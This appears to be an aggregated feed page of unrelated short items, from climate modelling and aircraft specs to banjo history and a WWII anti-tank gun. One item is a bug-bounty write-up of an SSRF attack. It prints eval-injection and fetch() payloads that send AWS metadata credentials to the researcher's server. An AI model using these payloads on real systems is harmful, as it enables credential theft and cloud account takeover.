Next Page: 10000

          GLIMPSE: GCAM-based Longterm Interactive Multi-Pollutant Scenario Evaluator      Cache   Translate Page      
The GCAM-based Long-term Interactive Multi-Pollutant Scenario Evaluator (GLIMPSE) is a prototype decision support tool that is intended to inform national, regional, and state-level air quality management decisions. The “computational engine” for GLIMPSE is the Global Change Assessment Model, or GCAM, which has been developed by the Department of Energy’s Pacific Northwest National Laboratory (PNNL). GCAM is a human-earth systems model that includes representations of the energy system, agriculture, land use, and the atmosphere and simulates the evolution of these interconnected systems through 2100. Users can explore wide-ranging scenarios, including those with alternative assumptions regarding population growth and migration, economic growth and transformation, technology costs, and environmental and energy policy. From an air quality management perspective, key outputs of GCAM include emissions of criteria pollutants, estimates of the health effects associated with emissions, and water demands from energy and agriculture. The base or “core” GCAM model has global coverage, broken into 32 geographic regions. Two variants of GCAM have been developed that have additional spatial resolution. GCAM-USA represents the 32 global regions, but the U.S. region has been disaggregated into 50 states and the District of Columbia. Similarly, GCAM-China disaggregates the representation of China to China’s 31 provinces. Thus, GCAM-USA and GCAM-China can support the analysis of state- and province-level air quality management strategies within the context of a global scenario. While GCAM is very flexible and has the potential to positively affect air quality decision making, the complexity of the model and associated data system has limited its use to a small community of developers and “power users.” However, the model is well suited to be integrated into a decision support tool that automates complicated functions (e.g., setting up input files, aggregating outputs over regions, and examining differences from one scenario to another), making the model accessible to a much broader set of users. Developing such a decision support tool is the primary goal of the GLIMPSE project. Over the past several years, we have implemented a GLIMPSE prototype and are engaged with beta testers. In this presentation, Dan will provide an overview of GLIMPSE. He will then demonstrate its use for two real-world problems: (i) understanding the emission implications of alternative population scenarios, and (ii) assessing the air pollutant emissions implications of the Regional Greenhouse Gas Initiative.
          Comment on NesGlider (StarFox) [SNES – Prototype] by Ross Sillifant      Cache   Translate Page      
Nice to get a comment from someone else involved : Posted Today, 6:30 PM Talking of Star Fox, Dylan Cuthbert of Argonaut : "I'm just saddened really by the lack of effort THE MOST RESPECTED software company (Argonaut) is spending in making its games for the 3DO.  Imagine what Starfox could have been like if it had had the 3DO's hardware and colours/sound etc... it probably had about the same time period spent on it (if not less staff and a lower budget! ; I was one of the staff, I know how little I was paid)".
          Comment on Pyramids of Ra [NES – Unreleased] by TLO      Cache   Translate Page      
Google translate: pyramid of ra is a strategy game in which you have to make a combination of stones or blocks in a way that connects with the points that are marked on the ground. it was only a prototype of the Taiwanese company sachen that could not be developed from the to for not having license of nintendo to produce games
          The current infographic - Making a lab that fits in your pocket      Cache   Translate Page      

Today at an event in London, BASF presents HertzstückTM, a groundbreaking infrared detector which may soon transform smartphones into portable laboratories that fit in a pocket. The shown prototype of a miniature spectrometer will, for example, enable consumers to measure the fat content of curd cheese, as the infographic shows. This innovative near infrared (NIR) sensor for wavelengths of 1‑3 µm was developed by the startup trinamiX, a company founded by BASF researchers in Ludwigsh...

Read the full story at https://www.webwire.com/ViewPressRel.asp?aId=229801


          CSS Grid for Getty Images      Cache   Translate Page      

See the Code - See it Full Page - See Details

Getty Images is going through a whole redesign. This is the prototype code of the new homepage that uses CSS Grid. There is a fallback for IE that uses float.

This Pen uses: HTML, SCSS, JavaScript, and


          AUT - Diamond Aircraft DART-450 (DART-550)      Cache   Translate Page      
Autor: Janko PALIGA

Datum: 10.10.2018 00:25:00



 
Název:
Name:
Diamond Aircraft DART-450 (DART-5501)) Diamond Aircraft DART-450 (DART-5501))
Originální název:
Original Name:
Diamond Aircraft DART-450 (DART-5501))
Kategorie:
Category:
cvičný letoun trainer aeroplane
Výrobce:
Producer:
Diamond Aircraft, Wiener Neustadt
Období výroby:
Production Period:
DD.MM.2016-DD.MM.RRRR
Vyrobeno kusů:
Number of Produced:
2 prototypy / prototypes DART-450
1 prototyp / prototype DART-5501)
První vzlet:
Maiden Flight:
17.05.2016
Osádka:
Crew:
2
Základní charakteristika:
Basic Characteristics:
 
Vzlet a přistání:
Take-off and Landing:
CTOL - konvenční vzlet a přistání CTOL - conventional take-off and landing
Uspořádání křídla:
Arrangement of Wing:
jednoplošník monoplane
Uspořádání letounu:
Aircraft Concept:
klasické conventional
Podvozek:
Undercarriage:
zatahovací retractable
Přistávací zařízení:
Landing Gear:
kola wheels
Technické údaje:
Technical Data:
 
Hmotnost prázdného letounu:
Empty Weight:
1350 2) kg 2976 2) lb
Vzletová hmotnost:
Take-off Weight:
2300 kg 5071 lb
Maximální vzletová hmotnost:
Maximum Take-off Weight:
? kg ? lb
Rozpětí:
Wingspan:
11,79 m 38ft 8,17in
Délka:
Length:
10,20 m 33ft 5,56in
Výška:
Height:
3,45 m 11ft 3,83in
Plocha křídla:
Wing Area:
? m2 ? ft2
Plošné zatížení:
Wing Loading:
? kg/m2 ? lb/ft2
Pohon:
Propulsion:
 
Kategorie:
Category:
turbovrtulový turboprop
Počet motorů:
Number of Engines:
1
Typ:
Type:
Ivčenko-Progress/Motor Sič AI-450S o výkonu 369 kW (502 k), pětilistá stavitelná vrtule MT-Propeller1) Ivchenko-Progress/Motor Sich AI-450S, power output 495 bhp, five-bladed variable-pitch propeller MT-Propeller1)
Objem palivových nádrží:
Fuel Tank Capacity:
850 l 187 Imp gal / 225 US gal
Výkony:
Performance:
 
Maximální rychlost:
Maximum Speed:
463 km/h v ? m 287.7 mph in ? ft
Cestovní rychlost:
Cruise Speed:
426 km/h v ? m 264.7 mph in ? ft
Rychlost stoupání:
Climb Rate:
15,2 m/s 2992.1 ft/min
Čas výstupu na výšku:
Time to Climb to:
? min do ? m ? min to ? ft
Operační dostup:
Service Ceiling:
7000 m 22966 ft
Dolet:
Range:
? km ? mi
Maximální dolet:
Maximum Range:
2889 km 1795.1 mi
Výzbroj:
Armament:
- -
Uživatelské státy:
User States:
- -
Poznámka:
Note:
1) Verze DART-550 poháněná motorem GE Aviation H75-100 s výkonem 410 kW (557 k), motor vybaven elektronickým systémem řízení EEPC (Electronic Engine and Propeller Control)
2) DART-550 1430 kg?

Vytrvalost 8 h 10 min.
1) Version DART-550 powered by GE Aviation H75-100 engine, power output 550 bhp.
2) DART-550 3153 lb?

Endurance 8 hrs 10 min.
Zdroje:
Sources:
Soušek, Tomáš: Moderní a dostupný DART, Letectví a kosmonautika 2018 / 10
www.diamond-air.at

          2019 Holden Commodore/Opel Insignia wagon facelift spied      Cache   Translate Page      
A facelifted version of the Opel Insignia Sports Tourer wagon, sold in Australia as the Holden Commodore, has been spied undergoing testing in Europe. Up front, the Insignia prototype sports a disguised and completely reworked front fascia. From what we can see, the Insignia will gain a full-width grille which will blend into a set of redesigned headlights.
          Joel Sweeney's Grave in Appomattox, Virginia      Cache   Translate Page      

Joel Walker Sweeney gravemarker.

Although today the banjo is a mainstay of American country music, the prototype originated in West Africa and was brought to the New World as a result of the slave trade in the 1600s. Variants were widely known in the Caribbean and rural America, but Appomattox, Virginia, native Joel Walker Sweeney is credited with popularizing the modern version.

As the story goes, Sweeney was born in a log cabin in 1810 and learned to play a gourd banjo at age 13 from the slaves who worked on his father’s farm. A natural Virginia ham, he developed as an entertainer on the five-string banjo and performed around the state, at one point becoming a star in a regional circus. Success took him to New York and then overseas to Europe, where he is said to have performed for Queen Victoria.

In the 1840s, with his brothers and African-American performers, he formed one of the early minstrel shows, which became an international success. As the frailer member of the group, Joel died in 1860 from dropsy, but his younger brother Sam flourished as one of the United States’ most famous banjo players. Eventually discovered by Confederate General J.E.B. Stuart, Sam was attached to Stuart’s staff and rode behind the cavalryman (a la Monty Python’s Brave Sir Robin) playing his favorite tunes including “Jine the Cavalry.”

In the years since the Civil War, Joel Sweeney’s legend has grown, with him having been credited as the inventor of the banjo, the originator of the five-string banjo, the first white man to play the banjo, and the originator of the “clawhammer” style of playing the instrument. But these claims aren't exactly true. The more disturbing truth is that such stories were created to distance the banjo from its African roots to make it acceptable to white middle-class Americans.

Despite the unsavory elements of Sweeney’s legend, he was indisputably influential in the deliverance of the banjo from anonymity, and today, Appomattox hosts the annual Joel Sweeney Banjo & Old-Time Music Festival celebrating the “strum und drang” of America’s cultural heritage.


          CD Projekt RED se trouve un nouveau partenaire pour Cyberpunk 2077      Cache   Translate Page      
CD Projekt RED vient d’annoncer un nouveau partenariat avec le studio Digital Scapes pour l’aider sur le développement du très attendu Cyberpunk 2077. Ce studio a été fondé par des anciens de BioWare (Mass Effect, Anthem), Radical Entertainment (des jeux plus que moyens comme Prototype 1 & 2) et Relic (Company of Heroes 1 & 2) ainsi […]
          AWS takeover through SSRF in JavaScript      Cache   Translate Page      

Here is the story of a bug I found in a private bug bounty program on Hackerone. It toke me exactly 12h30 -no break- to find it, exploit and report. I was able to dump the AWS credentials, this lead me to fully compromise the account of the company: 20 buckets and 80 EC2 instances (Amazon Elastic Compute Cloud) in my hands. Besides the fact that it’s one of my best bug in my hunter career, I also learnt alot during this sprint, so let’s share!

Intro

As I said, the program is private so the company, let’s call it: ArticMonkey.
For the purpose of their activity -and their web application- ArticMonkey has developed a custom macro language, let’s call it: Banan++. I don’t know what language was initially used for the creation of Banan++ but from the webapp you can get a JavaScript version, let’s dig in!

The original banan++.js file was minified, but still huge, 2.1M compressed, 2.5M beautified, 56441 lines and 2546981 characters, enjoy. No need to say that I didn’t read the whole sh… By searching some keywords very specific to Banan++, I located the first function in line 3348. About 135 functions were available at that time. This was my playground.

Spot the issue

I started to read the code by the top but most of the functions were about date manipulation or mathematical operations, nothing really insteresting or dangerous. After a while, I finally found one called Union() that looked promising, below the code:

helper.prototype.Union = function() {
   for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) args[_key22] = arguments[_key22];
   var value = args.shift(),
    symbol = args.shift(),
    results = args.filter(function(arg) {
     try {
      return eval(value + symbol + arg)
     } catch (e) {
      return !1
     }
    });
   return !!results.length
  }

Did you notice that? Did you notice that kinky eval()? Looks sooooooooooo interesting! I copied the code on a local HTML file in order to perform more tests.

Basically the function can take from 0 to infinite arguments but start to be useful at 3. The eval() is used to compare the first argument to the third one with the help of the second, then the fourth is tested, the fifth etc… Normal usage should be something like Union(1,'<',3); and the returned value true if at least one of these tests is true or false.
However there is absolutely no sanitization performed or test regarding the type and the value of the arguments. With the help of my favourite debugger -alert()- I understood that an exploit could be triggered in many different ways:

Union( 'alert()//', '2', '3' );
Union( '1', '2;alert();', '3' );
Union( '1', '2', '3;alert()' );
...

Find an injection point

Ok so I had a vulnerable function, which is always good, but what I needed was a input to inject some malicious code. I remembered that I already seen some POST parameters using Banan++ functions so I performed a quick search in my Burp Suite history. Got it:

POST /REDACTED HTTP/1.1
Host: api.REDACTED.com
Connection: close
Content-Length: 232
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red
Content-Type: application/json;charset=UTF-8
Referer: https://app.REDACTED.com/REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: auth=REDACTED

{...REDACTED...,"operation":"( Year( CurrentDate() ) > 2017 )"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 54
Connection: close
X-Content-Type-Options: nosniff
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15768000; includeSubDomains
...REDACTED...

[{"name":"REDACTED",...REDACTED...}]

The parameter operation seems to be a good option. Time for testing!

Perform the injection

Since I didn’t know anything about Banan++, I had to perform some tests in order to find out what kind of code I could inject or not. Sort of manual fuzzing.

{...REDACTED...,"operation":"'\"><"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":null}
[]
{...REDACTED...,"operation":"0"}
[]
{...REDACTED...,"operation":"1"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"a"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"a=1"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert()"}
{"status":400,"message":"Function 'alert' is not defined"}
{...REDACTED...,"operation":"Union()"}
[]

What I conclued here was:

  • I cannot inject whatever JavaScript I want
  • I can inject Banan++ functions
  • the response seems to act like a true/false flag depending if the interpretation of parameter operation is true or false (which was very useful because it helped to validate the code I injected)

Let’s continue with Union():

{...REDACTED...,"operation":"Union(1,2,3)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union(a,b,c)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a','b','c')"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a';'b';'c')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'2';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'<';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'>';'3')"}
[]]

Perfect! If 1 < 3 then the response contains valid datas (true), but if 1 > 3 then the response is empty (false). Parameters must be separated by a semi colon. I could now try a real attack.

fetch is the new XMLHttpRequest

Because the request is an ajax call to the api that only returns JSON datas, it’s obviously not a client side injection. I also knew from a previous report that ArticMonkey tends to use alot JavaScript server side.

But it doesn’t matter, I had to try everything, maybe I could trigger an error that would reveal informations about the system the JavaScript runs on. Since my local testing, I knew exactly how to inject my malicious code. I tried basic XSS payloads and malformed JavaScript but all I got was the error previously mentionned.

I then tried to fire an HTTP request.

Through ajax call first:

x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();

But didn’t receive anything. I tried HTML injection:

i = document.createElement( 'img' );
i.src = '<img src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );

But didn’t receive anything! More tries:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">';
document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

But didn’t receive anything!!!

Sometimes you know, you have to test stupid things by yourself to understand how stupid it was… Obviously it was a mistake to try to render HTML code, but hey! I’m just a hacker… Back to the ajax request, I stay stuck there for a while. It toke me quite a long time to figure out how to make it work.

I finally remembered that ArticMonkey uses ReactJS on their frontend, I would later learnt that they use NodeJS server side. Anyway, I checked on Google how to perform an ajax request with it and found the solution in the official documention which lead me to the fetch() function which is the new standard to perform ajax call, that was the key.

I injected the following:

fetch('https://poc.myserver.com')

And immediately got a new line in my Apache log.

Being able to ping my server is a thing but it’s a blind SSRF, I had no response echoed back. I had the idea to chain two requests where the second would send the result of the first one. Something like:

x1 = new XMLHttpRequest;
x1.open( 'GET','https://...', false );
x1.send();
r = x1.responseText;

x2 = new XMLHttpRequest;
x2.open( 'GET','https://poc.myserver.com/?r='+r, false );
x2.send();

Again it toke me while to get the correct syntax with fetch(). Thanks StackOverflow.

I ended with the following code which works pretty well:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

Of course, Origin policy applies.

SSRF for the win

I firstly tried to read local files:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

But the response (r parameter) in my Apache log file was empty.

Since I found some S3 buckets related to ArticMonkey (articmonkey-xxx), I thought that this company might also use AWS servers for their webapp (which was also confirmed by the header in some responses x-cache: Hit from cloudfront). I quickly jump on the list of the most common SSRF URL for Cloud Instances.

And got a nice hit when I tried to access the metadatas of the instance. aws takeover through ssrf in javascript

Final payload:

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

Decoded output is the directory listing returned:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
...

Since I didn’t know anything about AWS metadatas, because it was my first time in da place. I toke time to explore the directories and all files at my disposition. As you will read everywhere, the most insteresting one is http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>. Which returned:

{
  "Code":"Success",
  "Type":"AWS-HMAC",
  "AccessKeyId":"...REDACTED...",
  "SecretAccessKey":"...REDACTED...",
  "Token":"...REDACTED...",
  "Expiration":"2018-09-06T19:24:38Z",
  "LastUpdated":"2018-09-06T19:09:38Z"
}

Exploit the credentials

At that time, I though that the game was ended. But for my PoC I wanted to show the criticity of this leak, I wanted something really strong! I tried to use those credentials to impersonate the company. You have to know that they are temporary credentials, only valid for a short period, 5mn more or less. Anyway, 5mn is supposed to be enough to update my own credentials to those ones, 2 copy/paste, I think I can handle that… err…

I asked for help on Twitter from SSRF and AWS master. Thank guys, I truely appreciate your commitment, but I finally found the solution in the UserGuide of AWS Identity and Access Management. My mistake, except to not read the documentation (…), was to only use AccessKeyId and SecretAccessKey, this doesn’t work, the token must also be exported. Kiddies…

$ export AWS_ACCESS_KEY_ID=AKIAI44...
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
$ export AWS_SESSION_TOKEN=AQoDYXdzEJr...

Checking my idendity with the following command proved that I was not myself anymore.

aws sts get-caller-identity

And then…
aws takeover through ssrf in javascript

Left: listing of the EC2 instances configured by ArticMonkey. Probably a big part -or the whole- of their system.

Right: the company owns 20 buckets, containing highly sensitive datas from customers, static files for the web application, and according to the name of the buckets, probably logs/backups of their server.

Impact: lethal.

Timeline

06/09/2018 12h00 - beginning of the hunt
07/09/2018 00h30 - report
07/09/2018 19h30 - fix and reward

Thanks to ArticMonkey for being so fast to fix and reward, and agreed this article :)

Conclusion

I learnt alot because of this bug:

  • ReactJS, fetch(), AWS metadatas.
  • RTFM! The official documentation is always a great source of (useful) informations.
  • At each step new problems appeared. I had to search everywhere, try many different things, I had to push my limits to not give up.
  • I now know that I can fully compromise a system by myself starting from 0, which is a great personal achievement and statisfaction :)

When someone tells you that you’ll never be able to do something, don’t waste your time to bargain with these peoples, simply prove them they’re wong by doing it.


          Interview: Robert Jänisch über Chatbots und Voice Assistants       Cache   Translate Page      

In der Digital- und Marketingbranche sind Chatbots, Voice Assistants und Künstliche Intelligenz brandaktuelle Themen. Doch welche Relevanz haben Chatbots und Sprachassistenten? Robert Jänisch, Gründer vom IOX LAB, beantwortet alle Fragen über das Thema. Das Unternehmen aus Düsseldorf erstellt Prototypen im Bereich des Internets der Dinge und hat 2017 den NRW Gründerpreis gewonnen. Nun hat es auch […]

Der Beitrag Interview: Robert Jänisch über Chatbots und Voice Assistants  von Sponsor [Anzeige] erschien zuerst auf BASIC thinking. Folge uns auch auf Facebook und Twitter.


          UX/UI Designer - Peaksware Labs - Peaksware - Denver, CO      Cache   Translate Page      
Develop low fidelity wireframes, prototypes, and high fidelity design compositions that communicate interaction concepts and help define development...
From Peaksware - Mon, 24 Sep 2018 07:16:19 GMT - View all Denver, CO jobs
          New Fire Extinguisher Puts Out Fire Using Only Sound      Cache   Translate Page      
New Fire Extinguisher Put Out Fire Using Only Sound

Firefighters might be snuffing blazes with deep-toned sound, in case a new device invented by two engineering students from Fairfax, Virginia, catches on. The footage was recently released by George Mason University, and it shows students demonstrating the new device that, as they claim, puts out fire with nothing but sound.


Seth Robertson and Vet Tran are both senior engineering students at the university, and you can rest assured you will hear their name a lot more if this device becomes mainstream and is used to fight fires.


The idea of using sound waves in order to quench a fire is not new at all. DARPA, US Defense Advanced Research Projects Agency has tested the idea before. Tran and Robertson, however, are the first ones who have turned the principle into a practical device.


So how can sound waves put out a fire? Some may be familiar with experiencing dub music not only with their ears but also with their body. For those that are into deep bass sounds would know; if your chest isn't rattling, it isn't happening, right? That's basically how the innovation of these young engineers works. Only with a little bit of difference; the portable gadget they've designed focuses the sound waves in a particular direction instead of spreading them.


Above all, sound waves can manipulate both oxygen and burning material. If those two gets separated, the fire dies away. This means that a sound wave is a type of pressure wave. Pressure wave will remove oxygen from air molecules. Given that oxygen is the primary fuel for the fire, this will allow you to eliminate it. Evidently, the study behind the invention went through a few ‘failed frequencies.’ By testing out different frequencies, Tran and Robertson found out that high-pitched tones were ineffective on flames. They realized that it is all about low-frequency bass sounds between 30 and 60 Hz. Therefore, deep bass tunes of hip-hop, dub, dubstep, d&b, trap or grime would also work on flames.



The device is consisted of an amplifier and a cardboard collimator to focus the sound. The duo’s final prototype only cost them approximately $600 to develop the nine kilograms device.


New Fire Extinguisher Put Out Fire Using Only Sound

Seth Robertson and Viet Tran are still working on the development of the device for it to be efficient on a larger scale, for instance, to help extinguish forest fires. Even if they initially envisaged their invention to be used on small fires such as grease fires on stovetops, their mechanism has a potential to be combined with several different systems as well. Hopefully, they'll find a way to address the issue and will create a tremendous anti-fire system.



          Overseas Doorknocker      Cache   Translate Page      
At the time the United States joined WWII the main anti-tank gun of the American army was the 37 mm M3 gun. As experience in North Africa showed, this gun could not successfully combat modern tanks. While the 37 mm gun was replaced by more powerful weapons in Europe, the US Army and Marines used these guns in the Pacific theatre until the end of the war.

The United States was far behind European nations in anti-tank weapon development. Leading European armies were beginning to adopt small caliber AT guns by the start of the 1930s, while the Americans only began thinking about adopting them in the middle of the decade. To start, the Americans decided to research foreign experience. One French Canon 25 mm S.A. Mle 1934 gun was purchased in 1935. This gun did not leave a good impression on the Americans: despite its excellent penetration, it was considered too heavy (475 kg, more than the Swedish or German 37 mm gun).

The first battles of the Spanish Civil War showed how important anti-tank artillery was. Successful use of armour did not evade the attention of the Americans either, and in January of 1937 the US Army command decided to develop a 37 mm gun. The gun was supposed to have a low mass (no more than 1000 pounds or 454 kg) and its shell had to penetrate 20 mm of armour at 800-1000 meters. These parameters were based on the thickness of armour of modern tanks and the maximum range of their machineguns, which was 800 meters. In Spain, the Americans took note of the German 3.7 cm Pak anti-tank gun, and bought a sample later. This fact led some historians to insist that the American gun is a copy of the German weapon, but in reality it is an independent design.

Design and improvement

Three branches of the military (cavalry, infantry, and artillery) met at the Aberdeen Proving Grounds in May of 1937 to discuss the development of anti-tank weapons. This discussion defined the requirements for the prospective gun. Having examined the 3.7 cm Pak, the participants decided to borrow the design of the sight, somewhat reminiscent of a submarine periscope, which allowed the gunner to aim while still being protected by the gun shield. The artillery branch insisted on a layout similar to field guns, with two gunners to the left and right of the breech, one of which would aim the gun vertically and the other horizontally. The infantry protested, defending the layout where only one gunner was necessary. The most important result of this meeting was to give the development of the new gun to the infantry command. This made it an infantry weapon, and not an artillery one. The Bennet laboratory, a part of the Watervliet arsenal, took up the development.

The design was finished quickly. On September 9th, 1937, the blueprints for the future weapon were approved, and trials of a prototype began at the Aberdeen Proving Grounds on September 9th, 1937. The gun and carriage received the indexes T3 and T1 respectively.

T3 gun on the T1 carriage.

The first trials showed the drawbacks of the gun, or rather the carriage: poor stability when aiming away from the main axis and slow speed of horizontal aiming. The next modification, indexed T1E1, attempted to resolve these problems. It received a two-speed horizontal aiming mechanism (one speed for rough and one speed for precise aiming), but the stability was not improved. In addition, the penetration was insufficient, and the gun jammed often. The customer rejected this gun. The designers rolled up their sleeves and put out three more prototypes with different breech designs: the T7 had a horizontal semiautomatic sliding breech, the T8 had a Nordenfelt eccentric screw breech, and the T10 had a classic vertical sliding breech. All three had the new T5 carriage. The T10 gun showed the best results, and on December 15th 1938 it was standardized as the 37 mm Gun M3 and recommended for mass production. The T5 carriage was named M4 Gun Carriage.

Design

The M3 gun had a monobloc 2.1 meter (56.6 calibers) barrel with 12 right hand rifling grooves. The breech was a vertical sliding breech, hand operated. The firing mechanism was hand fired, spring loaded, and had to be cocked manually after loading. Overall, the design of the breech and firing mechanism was simple and reliable. Despite a lack of automatic mechanism, a well trained crew could make 25 shots per minute.

M3 gun on the M4 carriage.

The recoil system combined springs and hydraulics. The carriage had a split trail with a hitch on the right spade. The wheels had pneumatic tires, the axle was unsprung. Extra trails could be flipped down under the wheels to give the gun additional stability when firing. On January 29th, 1942, the M4A1 carriage was standardized, which gave additional aiming speed. To achieve this, the aiming mechanism could be disengaged, and the gunner could turn the barrel by hand using a special grip on top and to the left of the breech. The gun was aimed using the M6 telescopic sight. A 12.7 mm shield protected the crew.

The crew of the M3 consisted of five men: the commander, gunner, loader, and two ammunition carriers.

The crew could move the gun by hand over short distances/

The gun fired fixed ammunition. There were five types of ammunition: M74 AP and M51 APC were shot without explosive filler. They weighed 870 and 940 grams respectively, and the mass of the whole round was 1.51 and 1.58 kg. The muzzle velocity was 870 m/s. The penetration for the M51 round at 30 degrees was 53 mm at 500 yards (457 m) and 46 at 1000 yards (914 m). The M63 and Mk.II HE shells weighed 730 and 560 grams respectively, and were filled with 39 and 27 grams of explosives. The whole round weighed 1.42 and 1.23 kg. The muzzle velocity of the M63 was 782 m/s. The effectiveness was about the same as that of a hand grenade, which meant the ammunition could be used to destroy MG nests and unarmoured vehicles. The fifth type of ammunition was the M2 canister shot, armed with 126 round steel pellets.

The training tracer TP M51 ammunition was used for training, as well as the M13 and T5 dummies (matching the shape of the M51 and M63 rounds), as well as the M2 blank round weighing 930 grams.

On March 5th, 1942, the M3A1 gun was standardized, which had a threading on the barrel for the attachment of a Solothurn muzzle brake. However, practice showed that it led to preemptive detonation of HE ammunition, and the muzzle brake fell out of use.

In October of 1942, airborne command proposed a carriage design with detachable trails so it could be dropped from the air. Such a carriage was built and tested, but rejected in June of 1943 due to a "lack of need". The Marine Corps also tried to "tune" the M3 for their needs. The Marines were dissatisfied with the small gun shield, and in May of 1944 a larger shield with irregular edges was proposed. The edges made hiding the gun easier. A few prototypes were produced and built in late 1944, but that was the end of it. By this time 37 mm guns were useless even in the Pacific.

A "customized" M3 equipped with an enlarged gun shield with an irregular outline. Iwo Jima, February 21st, 1945.

Production of the M3 began in 1940. The guns were built at the Watervliet arsenal, and the carriages at Rock Island Arsenal. 18,072 guns were built (340 in 1940, 2252 in 1941, 11,812 in 1942, and 4298 in 1943).

Organization

The 37 mm anti-tank guns were included in the TO&E of American infantry divisions in 1941. Each infantry battalion received a platoon with three M3 guns, and each infantry regiment received a nine gun company. 3/4 ton Dodge WC-51 trucks were used to tow them, but lighter jeeps were also successfully used. This had an impact on the altered TO&E adopted in April of 1942: now platoons had their guns towed by jeeps, but the companies retained their Dodges. At the same time, the number of guns increased to four per platoon and 12 per company. Now each regiment contained 24 M3 guns. Each of the four artillery squadrons of the artillery regiment received a six-gun platoon. They were supposed to be used to protect artillery positions from tank attacks. Engineer battalions had anti-tank companies with nine M3 guns towed by M2 halftracks. Finally, six guns were kept at the division HQ. Each US infantry division totalled 111 37 mm guns. In addition, at the start of the war the divisions had anti-tank battalions (two companies of 12 M3 guns and one with 12 75 mm M1897A4 guns), but these were quickly taken out and turned into independent tank destroyer battalions.

The 3/4 ton truck was the standard tractor for the gun.

The 37 mm gun could also be towed with a jeep (in this case an American Bantam).

According to the TO&E issued in October 1942, each airborne division received an anti-tank battalion with two companies of 12 M3 guns each and a platoon with four guns in the artillery squadron. The glider regiment had a company with 8 M3s. A division that had one glider regiment would have 36 M3 guns, and a division with two of them would have 44.

M3 gun crew on maneuvers, Tennesee, June 1941.

As of March of 1942, tank divisions had the following distribution of 37 mm guns: 37 in the motorized regiment (four in each motorized infantry company and one in the HQ), 27 in the engineer battalion, and 4 in command units. In total, the division had 68 M3 guns, but in 1943, when tank divisions were refactored from a regimental to a battalion structure, the 37 mm guns vanished from their ranks.

M3 guns served in Alaska, although they didn't encounter enemy tanks here.

The Marine Corps had the same number of M3 guns as the army in their battalion-regiment units: 4 guns per battalion (in the weapons company) plus 12 at the regimental level (in the anti-tank company of the weapons battalion). In addition, the division had a three-battery squadron of M6 SPGs (M3 guns mounted on a Dodge truck), 18 in total. 37 mm guns were taken out of battalions in April of 1943, and the SPG squadron was moved over to towed M3 guns, more suitable for fighting in the jungle. In May of the next year they were removed due to a lack of necessity. The odds of meeting tanks in the Pacific were slim compared to Europe or North Africa. A Marine division had 90 M3 guns in 1942 (18 of them self propelled), but only 36 in 1944.

Use in battle

The combat debut of the M3 happened in December of 1941 during the defense of the Philippines. Information on their use in this battle is sparse, but one episode demands closer attention. On February 8th, 1942, a squad of 20 airmen left without a ride and fighting as infantry landed at Agloloma Bay, on the south of Bataan, in the rear of the Japanese forces. Thanks to an attack by the American landing force, the Japanese were beaten back from favourable positions and lost 600 men. The landing was entirely improvised. The troops landed on two whale boats towed by 11 meter motorboats. The motorboats were equipped with improvised armour made of steel plates and each had a 37 mm gun installed. The gunboats offered fire support for the landing force with a 10 minute artillery barrage. This landing was the first American amphibious operation in WWII.

Fillipino scouts train with an M3 gun, 1941.

The US Marines used M3 guns starting with October of 1942 in the battles for Guadalcanal. Defending their positions at the Matanikau river, the Marines destroyed the Japanese 1st Independent Tank Company armed with Chi-Ha medium tanks. The 37 mm guns also proved effective at defending against infantry attacks. Canister shot mowed down the attackers.

Jungle warfare was not an easy task. A crew from the 7th Infantry Division pulls their M3 gun behind them. Kwajalein, February 1944.

An M3 gun supports Marines at Saipan, June 1944.

While the Japanese possessed only a handful of thin-skinned tanks, the Americans encountered a more serious opponent in November of 1942, after landing in North Africa. The Germans had PzIII and PzIV tanks, and the M3 could do little against their front armour. By then, both the allied British and the Germans had more powerful anti-tank guns (57 mm and 50 mm respectively), while the Americans had to settle for 37 mm cannons. The result was predictable: at the battle for Kasserine Pass 67 M3 guns were destroyed or captured. The commission that studied the result of fighting in Tunisia was ruthless in its conclusions, given on March 5th, 1943.
"These guns were useless as anti-tank weapons and we insist that they are disposed of. They cannot penetrate the front armour or turret of German medium tanks, their rounds bounce off their armour like peas, while German tanks crush our positions..."
To be fair, there was also another opinion. Brigadier Thomas Louis wrote after observing trials against a captured German PzIII tank:
"The 37 mm gun, used with caution, meaning firing at the flanks and avoiding fire from excessive distances, is an effective anti-tank measure." 
The M3's size made it easy to conceal.

